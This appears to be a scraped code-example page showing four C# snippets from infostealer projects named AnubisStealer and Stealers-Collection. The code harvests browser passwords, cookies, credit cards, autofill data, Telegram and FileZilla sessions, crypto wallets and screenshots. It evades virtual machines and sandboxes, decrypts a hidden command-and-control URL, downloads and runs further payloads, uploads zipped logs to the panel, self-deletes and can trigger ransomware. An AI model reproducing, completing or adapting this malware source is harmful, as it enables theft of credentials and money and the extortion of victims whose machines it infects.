コード例 #1
0
ファイル: Program.cs プロジェクト: trinium422/AnubisStealer
 private static void Main()
 {
     Directory.CreateDirectory(Program.dir);
     HomeDirectory.Create(GetDirPath.User_Name, true);
     if (Settings.webka)
     {
         GetWebCam.Get_webcam();
     }
     Screen.Get_scr(Program.dir);
     FileZilla.get_filezilla(Program.dir);
     Telegram.StealTelegram(Program.dir);
     if (Settings.loader)
     {
         Loader.Load();
     }
     if (Settings.grabber)
     {
         Grabber.Grab_desktop(Program.dir);
     }
     Steal.Cookies();
     Steal.Passwords();
     Wallets.BitcoinSteal(Program.dir);
     UserAgents.Get_agent(Program.dir);
     Browser_Parse.Parse(Program.dir);
     DomainDetect.Start(Helper.Browsers);
     Hardware.Info(Program.dir);
     Directory.Delete(Program.dir, true);
     Directory.Delete(GetDirPath.User_Name, true);
     if (Settings.ransomware)
     {
         RansomwareCrypt.Start();
     }
 }
コード例 #2
0
 // Token: 0x06000158 RID: 344 RVA: 0x00008750 File Offset: 0x00006950
 public static void Parse(string dir)
 {
     Directory.CreateDirectory(dir + "\\Browsers");
     Steal.Cookies();
     try
     {
         foreach (string text in Browser_Parse.GetProfile())
         {
             try
             {
                 string fullName = new FileInfo(text).Directory.FullName;
                 string text2    = text.Contains(Browser_Parse.RoamingAppData) ? Browser_Parse.GetRoadData(fullName) : Browser_Parse.GetLclName(fullName);
                 if (!string.IsNullOrEmpty(text2))
                 {
                     text2 = text2[0].ToString().ToUpper() + text2.Remove(0, 1);
                     string name = Browser_Parse.GetName(fullName);
                     GetCookies.Cookie_Grab(fullName, text2, name);
                     GetPasswords.Passwords_Grab(fullName, text2, name);
                     GetPasswords.Write_Passwords();
                     Get_Credit_Cards.Get_CC(fullName, text2, name);
                     Get_Credit_Cards.Write_CC(text2, name);
                     Get_Browser_Autofill.Get_Autofill(fullName, text2, name);
                     Get_Browser_Autofill.Write_Autofill(text2, name);
                 }
             }
             catch
             {
             }
         }
     }
     catch
     {
     }
 }
コード例 #3
0
 // Token: 0x06000005 RID: 5 RVA: 0x000022A0 File Offset: 0x000004A0
 public static void GetGecko()
 {
     try
     {
         Steal.Cookies();
         Steal.Passwords();
     }
     catch
     {
     }
 }
コード例 #4
0
ファイル: Program.cs プロジェクト: yaskin/Stealers-Collection
        public static void Main()
        {
            AntiAnalyses.Proc();
            AntiAnalyses.VMDetect();
            AntiAnalyses.SandboxieDetect();

            //   Helpers.AntiSNG();


            string password = "******";

            byte[] url_bytes = StringToByteArray("[URL]");
            byte[] pwd_bytes = Encoding.Default.GetBytes(Encrypt.XOR(password));
            string result_encoded_string_panel = Encoding.Default.GetString(Encrypt.Encrypt_RC4(pwd_bytes, url_bytes));

            byte[] ass = Encoding.Default.GetBytes(result_encoded_string_panel);
            Dirs.WorkDirCreate();
            User.GetCountryByIP(User.IP);
            Dirs.Move();

            var request = WebRequest.Create(Encoding.Default.GetString(Encrypt.Encrypt_RC4(pwd_bytes, ass)));

            using (Stream stream = request.GetResponse().GetResponseStream())
            {
                string   arguments = new StreamReader(stream).ReadToEnd();
                string[] argss     = arguments.Split(',');



                bool Pass_bool    = true;
                bool Steam        = false;
                bool Grabber      = false;
                bool Cookies_bool = false;
                bool History_bool = false;
                bool Telegram     = false;
                bool Loader_bool  = false;
                bool Mutex        = false;
                bool Clear_bool   = false;
                bool ScreenShot   = false;
                bool Crypto       = false;

                if (argss[12] == "1")
                {
                    Mutex = true;
                }

                if (!Mutex)
                {
                    Helpers.MutexCheck();
                }

                if (argss[0] == "1")
                {
                    Pass_bool = true;
                }
                if (argss[1] == "1")
                {
                    Cookies_bool = true;
                }
                if (argss[2] == "1")
                {
                    History_bool = true;
                }
                if (argss[3] == "1")
                {
                    Crypto = true;
                }
                if (argss[4] == "1")
                {
                    Steam = true;
                }
                if (argss[5] == "1")
                {
                    Telegram = true;
                }
                if (argss[6] == "1")
                {
                    ScreenShot = true;
                }
                if (argss[7] == "1")
                {
                    Grabber = true;
                }
                if (argss[10] == "1")
                {
                    Clear_bool = true;
                }
                if (argss[11].StartsWith("http"))
                {
                    Loader_bool = true;
                }

                if (Loader_bool)
                {
                    string URL      = argss[11];
                    string filename = Path.GetFileName(URL);
                    Loader.Run(URL, filename);
                }


                if (Pass_bool)
                {
                    Steal.Passwords();
                    Passwords.GetPasswordsNEW();
                }

                if (History_bool)
                {
                    History.Get();
                }

                if (Loader_bool)
                {
                    string URL      = argss[11];
                    string filename = Path.GetFileName(URL);

                    Loader.Run(URL, filename);
                }

                if (Steam)
                {
                    Grab.Steam();
                }

                if (Telegram)
                {
                    Grab.NewTelegram();
                }

                if (Cookies_bool)
                {
                    Cookies.Get();
                    Steal.Cookies();
                    CC.Get();
                }

                if (Crypto)
                {
                    Grab.DirSearch(Dirs.AppData);
                }

                if (Grabber)
                {
                    string[] extensions = argss[8].Split(':');
                    Grab.extensions.AddRange(extensions.Select(ex => ex));
                    Grab.Weight  = Convert.ToInt32(argss[9]);
                    Grab.Weight *= 1024;

                    Grab.Desktop();
                }

                if (ScreenShot)
                {
                    Grab.ScreenShot();
                }



                Grab.FileZilla();
                Grab.Pidgin();

                User.GetUA();
                Helpers.UADetect();
                Helpers.InfoDetect();
                Helpers.LogDetect();

                User.GetInfo();

                Helpers.Zip();



                string log = @"" + Dirs.Temp + "\\" + User.IP + "_" + User.randomnm + ".zip";

                Post_File.GetInfoForPanel();
                Post_File.HttpUploadFile(Encoding.Default.GetString(Encrypt.Encrypt_RC4(pwd_bytes, ass)), log, "logs", "zip", Post_File.name);


                if (Clear_bool)
                {
                    Helpers.Suicide();
                }
            }

            Helpers.Clear();
            Directory.Delete(Dirs.WorkDir);
        }